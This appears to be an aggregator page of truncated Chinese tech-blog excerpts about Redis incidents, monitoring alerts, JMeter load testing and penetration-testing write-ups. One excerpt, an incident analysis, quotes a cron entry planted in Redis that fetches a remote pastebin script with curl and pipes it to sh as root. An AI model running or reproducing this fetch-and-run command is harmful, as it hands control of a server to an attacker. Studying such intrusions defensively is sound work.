日志集中式監控平台上線已經有一段時間，但是大部分情況下只是作為發布或者出問題時查看日志的便利工具使用。平時大家都不怎么主動上去看看。於是前幾天把應用的錯誤日志也加上郵件、Hi和短信報警，馬上就收到很多錯誤報警，引起了大家的重視。其中有一個Redis報錯： 看起來挺嚴重的，拿不到Redis連接 ...

zabbix告警突然從某個時間點開始提示CPU使用高，網卡流量也一直居高不下。 首先查看redis日志，發現告警時間點redis主節點被重啟了，發生了主備切換，並且在日志中發現這么一段 [3081] 06 Dec 02:33:28.090 # Client addr=****:35810 ...

起因 偶然間發現redis里有一個陌生key：tightsoft，它的值是：*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh 看key名就知道這肯定不是我們存的，再看value我警覺了，這是要定時執行腳本啊。 分析 ...

話說剛開始接觸安全測試時，沒有一個系統的概念，前輩仍一個內網測試網站，讓我把的shell拿下來，那我就開始吭哧吭哧的干起來。 首先，做滲透測試要有個思路，不能埋頭苦干。所以就開始理了下思路，具體如下： 判斷有無sql注入點，根據sql注入點來判斷數據庫類型，若是mssqlserver ...

1、首先要安裝JVM，確認是不是安裝和配置成功，可以用命令輸入 “java -version”查詢 2、從官網下載Jmeter，解壓 3、錄制腳本或者自己根據接口文檔/抓包獲取接口編寫測試的腳本（注：本質就是通過接口協議模擬瀏覽器訪問服務器） 4、配置線程數，每個線程數代表一個模擬操作的人 ...

0x00 滲透測試目標 目標：荷蘭某廠商(不好意思,廠商信息不能寫) 內容：滲透測試 0x01 信息收集 服務器：Microsoft-IIS/7.5 Web應用：ASP.NET 數據庫：Access(數據庫也太小了) 目標端口：掃描了沒啥有用的。 Whois ...

最近測試環境的redis經常性發生某些key丟失的問題，最終的找到的問題讓人大吃一驚。 復盤一下步驟： 1、發現問題 不知道從某天開始，后台經常報錯，原因是某些key丟失，一開始不在意，以為是小bug，后來越來越頻繁。 2、檢查代碼 看看是不是有誤刪除的情況，這些key的訪問范圍很小，壓根沒有刪除 ...

前言： 當我們接到一個授權滲透測試的時候，常規漏洞如注入、文件上傳等嘗試無果后，掃描端口可能會發現意外收獲。 知己知彼乃百戰不殆，Redis介紹： 簡單來說 redis 就是一個Key-Value類型的數據庫， redis 所有數據全部在內存中進行操作，並且它可以將內存中的數據定期存儲在磁盤 ...